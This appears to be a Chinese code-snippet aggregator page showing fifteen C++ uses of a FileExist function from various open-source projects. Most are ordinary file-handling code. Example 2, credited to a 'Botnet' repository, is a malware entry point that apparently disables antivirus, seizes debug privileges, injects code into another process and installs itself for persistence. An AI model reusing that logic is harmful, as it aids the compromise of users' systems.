当前位置: 首页>>代码示例>>C++>>正文


C++ FileExist函数代码示例

本文整理汇总了C++中FileExist函数的典型用法代码示例。如果您正苦于以下问题:C++ FileExist函数的具体用法?C++ FileExist怎么用?C++ FileExist使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了FileExist函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: PokeMini_LoadROM

// Load MIN ROM (and others)
int PokeMini_LoadROM(const char *filename)
{
	int colorloaded;
	char tmp[PMTMPV];

	// Save Individual EEPROM
	if (!CommandLine.eeprom_share) {
		if (PokeMini_EEPROMWritten && StringIsSet(CommandLine.eeprom_file)) {
			PokeMini_EEPROMWritten = 0;
			PokeMini_SaveEEPROMFile(CommandLine.eeprom_file);
		}
	}

#ifndef NO_ZIP
	if (ExtensionCheck(filename, ".zip")) {
		// Load new MIN ROM and Color Information inside zip
		if (!PokeMini_iLoadROMZip(filename, &colorloaded)) return 0;
		strcpy(CommandLine.min_file, filename);
	} else
#endif
 	{
		// Setup LCD mode based of color support
		if (ExtensionCheck(filename, ".minc")) {
			// Remove c and load new MIN ROM
			strcpy(tmp, filename);
			tmp[strlen(filename)-1] = 0;
			if (!PokeMini_LoadMINFile(tmp)) return 0;
			strcpy(CommandLine.min_file, tmp);
		} else {
			// Load new MIN ROM
			if (!PokeMini_LoadMINFile(filename)) return 0;
			strcpy(CommandLine.min_file, filename);
		}

		// Load Color Information
		sprintf(tmp, "%sc", CommandLine.min_file);
		if (FileExist(tmp) && PokeMini_LoadColorFile(tmp)) {
			colorloaded = 1;
		} else colorloaded = 0;
	}

	if (!colorloaded) {
		if (CommandLine.lcdmode == 3) CommandLine.lcdmode = 0;
	} else CommandLine.lcdmode = 3;

	// Load Individual EEPROM
	if (!CommandLine.eeprom_share) {
		sprintf(CommandLine.eeprom_file, "%s.eep", CommandLine.min_file);
		MinxIO_FormatEEPROM();
		if (FileExist(CommandLine.eeprom_file)) PokeMini_LoadEEPROMFile(CommandLine.eeprom_file);
	}

	// Soft reset hardware
	PokeMini_Reset(0);

	// Apply changes
	PokeMini_ApplyChanges();

	return 1;
}
开发者ID:jasarien,项目名称:Provenance,代码行数:61,代码来源:PokeMini.c

示例2: WinMain

//-----------------------------------------------------------------
BOOL __stdcall WinMain(HINSTANCE, HINSTANCE, PTSTR, int){

	char	buf[128];

	AVPsex();
	GetSystemDirectory(buf, 128);
	strcat(buf, "\\");
	strcat(buf, MY_MACRO_RECORD_NAME);
	strcat(buf, ".exe\0");
	GetMaxPriv();
	// InstallAndRegisterDrivers();
	if(GetPrivilege("SeDebugPrivilege")){
		if(FileExist(buf)){
            InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
		}else{
			InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
			 AddIntoSystem(MY_MACRO_RECORD_NAME, 1);
			 AddIntoSystem(MY_MACRO_RECORD_NAME, 0);
			return FALSE;
		}
	}else{
		if(FileExist(buf)){
            InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
		}else{
			InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);
			 AddIntoSystem(MY_MACRO_RECORD_NAME, 1);
			 AddIntoSystem(MY_MACRO_RECORD_NAME, 0);
			return FALSE;
		}
	}

return FALSE;
}
开发者ID:A-Massarella,项目名称:Botnet,代码行数:34,代码来源:main.cpp

示例3: MessageBox

BOOL CRealOnline::RegRealOnline()
{
	TCHAR szPath[MAX_PATH + 1];
	TCHAR szCurPath[MAX_PATH + 1];
	CString m_sysdir, m_prodir, m_datadir;

	if(CheckRealOnline() &&
		MessageBox(NULL, str_again, str_title,MB_OKCANCEL|MB_TOPMOST) != IDOK)
		return FALSE;
	
	::GetCurrentDirectory(MAX_PATH, szCurPath);
	::SetCurrentDirectory(m_dir);

	::GetSystemDirectory(szPath, MAX_PATH);
	m_sysdir.Format(_T("%s\\"), szPath);

	SHGetSpecialFolderPath(NULL, szPath, CSIDL_PROGRAM_FILES, FALSE);
	m_prodir.Format(_T("%s\\"), szPath);

	SHGetSpecialFolderPath(NULL, szPath, CSIDL_LOCAL_APPDATA, FALSE);
	m_datadir.Format(_T("%s\\"), szPath);

	CopyFile(m_dir +_T("pncrt.dll") , m_sysdir + _T("pncrt.dll") , TRUE);
	CopyFile(m_dir +_T("msvcp71.dll") , m_sysdir + _T("msvcp71.dll") , TRUE);
	CopyFile(m_dir +_T("msvcr71.dll") , m_sysdir + _T("msvcr71.dll") , TRUE);
	CopyFile(m_dir +_T("Real\\pndx5016.dll") , m_sysdir + _T("pndx5016.dll") , FALSE);
	CopyFile(m_dir +_T("Real\\pndx5032.dll") , m_sysdir + _T("pndx5032.dll") , FALSE);
	CopyFile(m_dir +_T("Real\\rmoc3260.dll") , m_sysdir + _T("rmoc3260.dll") , FALSE);

	//Firefox plugins
	if(FileExist(m_prodir + _T("Mozilla Firefox"))) {
		CopyFile(m_dir +_T("Real\\Browser\\Components\\nppl3260.xpt") , m_prodir + _T("Mozilla Firefox\\components\\nppl3260.xpt"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Components\\nsJSRealPlayerPlugin.xpt") , m_prodir + _T("Mozilla Firefox\\components\\nsJSRealPlayerPlugin.xpt"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Plugins\\nppl3260.dll") , m_prodir + _T("Mozilla Firefox\\plugins\\nppl3260.dll"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Plugins\\nprpjplug.dll") , m_prodir + _T("Mozilla Firefox\\plugins\\nprpjplug.dll"), FALSE);
	}

	//Chrome plugins
	if(FileExist(m_datadir + _T("Google\\Chrome"))) {
		if(!FileExist(m_datadir + _T("Google\\Chrome\\plugins")))
			CreateDirectory(m_datadir + _T("Google\\Chrome\\plugins"), NULL);
		CopyFile(m_dir +_T("Real\\Browser\\Components\\nppl3260.xpt") , m_datadir + _T("Google\\Chrome\\plugins\\nppl3260.xpt"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Components\\nsJSRealPlayerPlugin.xpt") , m_datadir + _T("Google\\Chrome\\plugins\\nsJSRealPlayerPlugin.xpt"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Plugins\\nppl3260.dll") , m_datadir + _T("Google\\Chrome\\plugins\\nppl3260.dll"), FALSE);
		CopyFile(m_dir +_T("Real\\Browser\\Plugins\\nprpjplug.dll") , m_datadir + _T("Google\\Chrome\\plugins\\nprpjplug.dll"), FALSE);
	}

	CopyFile(m_dir +_T("Real\\realreg") , m_dir +_T("realreg.inf"), FALSE);
	WinExec("rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 .\\realreg.inf",SW_HIDE);
	Sleep(1000);
	DeleteFile(m_dir +_T("realreg.inf"));
	ShellExecute(0, _T("open"), _T("regsvr32.exe") , _T(" /s \"")+ m_sysdir + _T("rmoc3260.dll\"") , NULL, SW_HIDE);

	::SetCurrentDirectory(szCurPath);

	if(CheckRealThread == NULL)
		CheckRealThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)CheckThread,this,0,0);

	return TRUE;
}
开发者ID:william0wang,项目名称:meditor,代码行数:60,代码来源:RealOnline.cpp

示例4: plumed_assert

void OFile::backupAllFiles( const std::string& str ) {
  if(str=="/dev/null") return;
  plumed_assert( backstring!="bck" && !checkRestart());
  size_t found=str.find_last_of("/\\");
  std::string filename = appendSuffix(str,getSuffix());
  std::string directory=filename.substr(0,found+1);
  std::string file=filename.substr(found+1);
  if( FileExist(filename) ) backupFile("bck", filename);
  for(int i=0;; i++) {
    std::string num; Tools::convert(i,num);
    std::string filestr = directory + backstring + "." + num + "." + file;
    if( !FileExist(filestr) ) break;
    backupFile( "bck", filestr);
  }
}
开发者ID:BingqingCheng,项目名称:plumed2,代码行数:15,代码来源:OFile.cpp

示例5: PokeMini_Reset

// Reset emulation
void PokeMini_Reset(int hardreset)
{
	char tmp[PMTMPV];

	// Reset IO
	if (hardreset) {
		memset(PM_RAM, 0xFF, 8192);
		memcpy(PM_IO, PM_IO_INIT, 256);
	}

	// Reset all components
	MinxTimers_Reset(hardreset);
	MinxIRQ_Reset(hardreset);
	MinxIO_Reset(hardreset);
	MinxPRC_Reset(hardreset);
	MinxColorPRC_Reset(hardreset);
	MinxLCD_Reset(hardreset);
	MinxAudio_Reset(hardreset);
	MinxCPU_Reset(hardreset);

	// Change BIOS
	if (!PokeMini_FreeBIOS && CommandLine.forcefreebios) {
		PokeMini_LoadFreeBIOS();
	}
	if (PokeMini_FreeBIOS && !CommandLine.forcefreebios) {
		PokeMini_LoadFreeBIOS();
		if (StringIsSet(CommandLine.bios_file)) {
			if (FileExist(CommandLine.bios_file)) PokeMini_LoadBIOSFile(CommandLine.bios_file);
			else {
				PokeMini_GetCustomDir(tmp, PMTMPV);
				PokeMini_GotoExecDir();
				if (FileExist(CommandLine.bios_file)) PokeMini_LoadBIOSFile(CommandLine.bios_file);
				PokeMini_GotoCustomDir(tmp);
			}
		}
	}

	// Syncronize with host time
	PokeMini_SyncHostTime();

#ifndef PERFORMANCE
	// Set multicart type
	SetMulticart(CommandLine.multicart);
#endif

	// Callback
	if (PokeMini_OnReset) PokeMini_OnReset(hardreset);
}
开发者ID:jasarien,项目名称:Provenance,代码行数:49,代码来源:PokeMini.c

示例6: getSCIpath

/*--------------------------------------------------------------------------*/
static char *getModuleXmlFilename(char *modulename)
{
	char *filename_module = NULL;
	
	if (modulename)
	{
		char *SciPath = NULL;
		SciPath = getSCIpath();
		if (SciPath)
		{
			int length_filename_module = 0;

			length_filename_module = (int)strlen(FORMATGATEWAYFILENAME) + 
			                   (int)strlen(SciPath)+((int)strlen(modulename)*2)+3;

			filename_module = (char*)MALLOC((length_filename_module+1)* 
							   sizeof(char));

			if (filename_module)
			{
				sprintf(filename_module,FORMATGATEWAYFILENAME,
					    SciPath,modulename,modulename);

				/* file doesn't exist */
				if ( !FileExist(filename_module) )
				{
					FREE(filename_module);
					filename_module = NULL;
				}
			}
			FREE(SciPath); SciPath = NULL;
		}
	}
	return filename_module;
}
开发者ID:rossdrummond,项目名称:scilab,代码行数:36,代码来源:readGateway.c

示例7: GetSN

BOOL CTxtFile::Exist(CString strPath, CString strBakDir, CString &strHistoryTmp)
{
	CString strYearMonth;
	CString strSN;
	GetSN(strSN, strPath);

	int nYear, nMonth, nDay;
	int nYearPre, nMonthPre;
	GetCrtDate(nYear, nMonth, nDay);

	const int nPreviousMonth=12;
	for (int i=0; i<=nPreviousMonth; i++)
	{
		nYearPre  = (nYear*12+nMonth-i)/12;
		nMonthPre = (nYear*12+nMonth-i)%12;

		strYearMonth.Format(_T("%d\\%d"), nYearPre, nMonthPre);

		if (FileExist(strBakDir+_T("\\")+strYearMonth+_T("\\")+strSN+_T(".tmp")) )
		{
			strHistoryTmp = strBakDir+_T("\\")+strYearMonth+_T("\\")+strSN+_T(".tmp");
			return TRUE;
		}
	}
	
	return FALSE;
}
开发者ID:BGCX261,项目名称:zhuhai-weichuangli-nike-svn-to-git,代码行数:27,代码来源:TxtFile.cpp

示例8: MakeDir

MKDIR_CODE MakeDir(const wchar *Name,bool SetAttr,uint Attr)
{
#ifdef _WIN_ALL
  BOOL RetCode=CreateDirectory(Name,NULL);
  if (RetCode==0 && !FileExist(Name))
  {
    wchar LongName[NM];
    if (GetWinLongPath(Name,LongName,ASIZE(LongName)))
      RetCode=CreateDirectory(LongName,NULL);
  }
  if (RetCode!=0) // Non-zero return code means success for CreateDirectory.
  {
    if (SetAttr)
      SetFileAttr(Name,Attr);
    return MKDIR_SUCCESS;
  }
  int ErrCode=GetLastError();
  if (ErrCode==ERROR_FILE_NOT_FOUND || ErrCode==ERROR_PATH_NOT_FOUND)
    return MKDIR_BADPATH;
  return MKDIR_ERROR;
#elif defined(_UNIX)
  char NameA[NM];
  WideToChar(Name,NameA,ASIZE(NameA));
  mode_t uattr=SetAttr ? (mode_t)Attr:0777;
  int ErrCode=mkdir(NameA,uattr);
  if (ErrCode==-1)
    return errno==ENOENT ? MKDIR_BADPATH:MKDIR_ERROR;
  return MKDIR_SUCCESS;
#else
  return MKDIR_ERROR;
#endif
}
开发者ID:Chris-Hood,项目名称:mpc-hc,代码行数:32,代码来源:filefn.cpp

示例9: fOut

	void ConfigDataHolder::Impl::Save( const std::string& fileName )
	{
		if( !FileExist( "config" ) ){
			CreateDirectory( "config" );
		}

		std::fstream fOut( fileName, std::ios::out );
		if( !fOut ){
			return;
		}

		fOut << "BGM=" << m_ConfigFileData.m_ConfigData.m_BGMVolume << std::endl;
		fOut << "SE=" << m_ConfigFileData.m_ConfigData.m_SEVolume << std::endl;
		std::string strings[ 7 ] = { "1/4", "1/3", "1/2", "x1", "x2", "x3", "x4" };
		fOut << "PLAY_SPEED=" << strings[ m_ConfigFileData.m_ConfigData.m_PlaySpeed ] << std::endl;

		char* pCapsStr[ GENERAL_BUTTON_TOTAL ] = {	"MOVE_UP",
													"MOVE_DOWN",
													"MOVE_RIGHT",
													"MOVE_LEFT",
													"SHOT",
													"BOMB",
													"GREEN",
													"BLUE",
													"RED" };

		for( int i = 0; i < GENERAL_BUTTON_TOTAL; ++i ){
			std::string s = "KEYBOARD_";
			s += pCapsStr[ i ];
			s += "=";
			fOut << s << GetStringFromButton( m_ConfigFileData.m_ConfigData.m_KeyboardCaps[ i ] ) << std::endl;
		}

		fOut.close();
	}
开发者ID:nutti,项目名称:GameEngine,代码行数:35,代码来源:ConfigDataHolder.cpp

示例10: StartDownload

void CUpdateDlg::StartDownload()
{
	m_info1.Format(_T("%s\n\n%s"), str_downloading, m_filename.c_str());

	m_avgbps = 0;
	m_avgnumber = 0;
	m_filesize = 0;
	m_DownSize = 0;
	m_LastTimer = 0;
	m_LastTimerSize = 0;

	if(!FileExist(m_path.c_str()))
		CreateDirectory(m_path.c_str(), NULL);
	else if(!FileIsDirectory(m_path.c_str())) {
		DeleteFile(m_path.c_str());
		CreateDirectory(m_path.c_str(), NULL);
	}

	m_progress.ShowWindow(SW_SHOW);
	DoDataExchange();

	m_failtime = 0;

	m_down_index = StartDownloaderW(m_url.c_str(), m_path.c_str(), m_filename.c_str(),
		(FUNC_CallBack)Callback_Download, DOWNLOAD_WPARAM);
}
开发者ID:william0wang,项目名称:meditor,代码行数:26,代码来源:UpdateDlg.cpp

示例11: GetFileWithWGET

int	GetFileWithWGET(AGPS_CONFIG_T DataFileInfo)
{
	char	cmd[SMALL_BUFF];
	char	DataFilePath[SMALL_BUFF];
	char	LogPath[SMALL_BUFF];
	char	LogPostfix[SMALL_BUFF];
	char	TimeStamp[TIMESTAMP_SIZE];
	int	len;

	memset(cmd, 0, SMALL_BUFF);
	memset(LogPath, 0, SMALL_BUFF);
	memset(LogPostfix, 0, SMALL_BUFF);
	memset(DataFilePath, 0, SMALL_BUFF);
	memset(TimeStamp, 0, TIMESTAMP_SIZE);

	GetCurrentDate(TimeStamp);
	sprintf(LogPath, "%s", Config.SERVICE_LOG_PATH);
	sprintf(LogPostfix, "%s.LOG", TimeStamp);
	len = strlen(LogPath) - 3;
	memcpy(LogPath + len, LogPostfix, strlen(LogPostfix));
	
	printLog(HEAD, "LogPath(%s)\n", LogPath);

	sprintf(cmd, "cd %s;/usr/bin/wget %s -a %s", Config.WORKING_DIR, DataFileInfo.FileURL, LogPath);
	system(cmd);
	printLog(HEAD, "cmd(%s)\n", cmd);
	sprintf(DataFilePath, Config.WORKING_DIR, DataFileInfo.DataFile);
	if(FileExist(DataFilePath) > 0)	
		return	SUCCESS;
	else
		return	0;
}
开发者ID:k2b3d,项目名称:tconsrc,代码行数:32,代码来源:UpdateAGPSFiles.cpp

示例12: clearAllRules

void VNDispatcher::readAndParseRuleFile()
{
	clearAllRules();

	CMainFrame *pMainWnd = (CMainFrame*) AfxGetApp()->m_pMainWnd;
	CString strRuleFile = pMainWnd->m_pEditRuleFile->GetEditText();

	CString strRulePathName = m_strDataDirectory + strRuleFile; //m_strRuleFile;
	if (!FileExist(strRulePathName))
	{
		MyMessageBox_Error(_T("readAndParseRuleFile"));
		return;
	}
	
	CStdioFile pRuleFile;
	pRuleFile.Open(strRulePathName, CFile::modeRead | CFile::typeText);
	
	CString strLine;
	m_strLines = _T("");
	while (pRuleFile.ReadString(strLine))
	{
		m_strLines += strLine;
		m_strLines += _T("\r\n");
	}
	m_pCurCoreRule = parseCoreRule(m_strLines);
	m_pArrCoreRules.push_back(m_pCurCoreRule);
	
	displayWholeFile();
	pRuleFile.Close();
}
开发者ID:heiden-deng,项目名称:VisualVNC,代码行数:30,代码来源:VNDispatcher.cpp

示例13: GetAutoRenamedName

bool GetAutoRenamedName(wchar *Name,size_t MaxNameSize)
{
  wchar NewName[NM];
  size_t NameLength=wcslen(Name);
#ifdef _ANDROID
  if (NameLength>ASIZE(NewName)-10)
    return false;
#endif
  wchar *Ext=GetExt(Name);
  if (Ext==NULL)
    Ext=Name+NameLength;
  for (uint FileVer=1;;FileVer++)
  {
#ifdef _ANDROID // No swprintf in Android NDK r9.
    uint NamePrefixLength=Ext-Name;
    wcsncpy(NewName,Name,NamePrefixLength);
    wcscpy(NewName+NamePrefixLength,L"(");
    itoa(FileVer,NewName+NamePrefixLength+1,ASIZE(NewName)-NamePrefixLength-1);
    wcsncatz(NewName,L")",ASIZE(NewName));
    wcsncatz(NewName,Ext,ASIZE(NewName));
#else
    swprintf(NewName,ASIZE(NewName),L"%.*ls(%u)%ls",uint(Ext-Name),Name,FileVer,Ext);
#endif
    if (!FileExist(NewName))
    {
      wcsncpyz(Name,NewName,MaxNameSize);
      break;
    }
    if (FileVer>=1000000)
      return false;
  }
  return true;
}
开发者ID:ccarpo,项目名称:ComicStreamer,代码行数:33,代码来源:filcreat.cpp

示例14: LoadFile

/* include import 加载文件 */
static int LoadFile (char *filename)
{
    /* 如果文件存在,
     * 保存以前的Input 信息
     * 读取新的文件 */
    if (FileExist (filename)) {
        
        Include p;
        CALLOC (p);

        p->PreInput = Input;
        p->isDef = false;
        ReadSourceFile (filename);
        p->PreTokenCoord = TokenCoord;
        p->endifCnt = endifCnt;
        INSERT_ITEM (InLink, p);

        TokenCoord.filename = filename;
        TokenCoord.line = TokenCoord.col = TokenCoord.ppline = 1;
        endifCnt = 0;
        INFO (4, "load %s file.", filename);

        return 1;
    }
    return 0;
}
开发者ID:vmezhang,项目名称:sometest,代码行数:27,代码来源:lex.c

示例15: CtrlAttr

CtrlAttr * CWBProcess::GetCtrlAttr (CtrlAttr *lpAttr)
{
    CtrlAttr *lpCtrl;
    LPSTR     lpStr;

    lpCtrl = new CtrlAttr ();

    if (lpAttr)
    {
        lpCtrl->ctName  = lpAttr->ctName;
        lpCtrl->ctColor = lpAttr->ctColor;
        lpCtrl->ctLine  = lpAttr->ctLine;
        mov_mem (&lpAttr->ctPos, &lpCtrl->ctPos, sizeof(RcPos));
        mov_mem (&lpAttr->ctFont, &lpCtrl->ctFont, sizeof(FontDef));
        switch (lpCtrl->ctName)
        {
        case WB_TXT:
            lpStr = lpAttr->ctText.tdText;
            if (lpStr)
                lpCtrl->ctText.CopyTxt (lpStr, lpAttr->ctText.tdLen);
            break;
        case WB_IMG:
            lpStr = lpAttr->ctImage.idName;
            if (FileExist(lpStr))
                lpCtrl->ctImage.SetName (lpStr);
            break;
        default:
        {} // this line avoids switch warnings in gcc.
        }
    }

    return lpCtrl;
}
开发者ID:xiaobinshe,项目名称:multitv,代码行数:33,代码来源:WBoardProc.cpp


注:本文中的FileExist函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。